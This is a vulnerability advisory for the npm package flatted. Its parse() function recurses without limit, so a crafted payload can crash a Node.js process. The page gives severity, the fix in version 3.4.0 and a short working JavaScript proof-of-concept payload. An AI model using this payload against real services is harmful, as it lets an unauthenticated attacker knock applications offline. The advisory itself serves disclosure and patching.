GHSA-25h7-pfq9-p65f

Suggest an improvement
Source
https://github.com/advisories/GHSA-25h7-pfq9-p65f
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-25h7-pfq9-p65f/GHSA-25h7-pfq9-p65f.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-25h7-pfq9-p65f
Aliases
Downstream
Related
Published
2026-03-13T15:40:42Z
Modified
2026-03-17T22:59:02.437030Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
flatted vulnerable to unbounded recursion DoS in parse() revive phase
Details

Summary

flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.

Impact

Denial of Service (DoS). Any application that passes untrusted input to flatted.parse() can be crashed by an unauthenticated attacker with a single request.

flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.

Proof of Concept

const flatted = require('flatted');

// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
  arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';

const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded

Fix

The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive revive() to a stack-based loop.

Affected Versions

All versions prior to the PR #88 fix.

Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T15:40:42Z",
    "severity": "HIGH",
    "nvd_published_at": "2026-03-12T18:16:25Z",
    "cwe_ids": [
        "CWE-674"
    ]
}
References

Affected packages

npm / flatted

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
3.4.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-25h7-pfq9-p65f/GHSA-25h7-pfq9-p65f.json"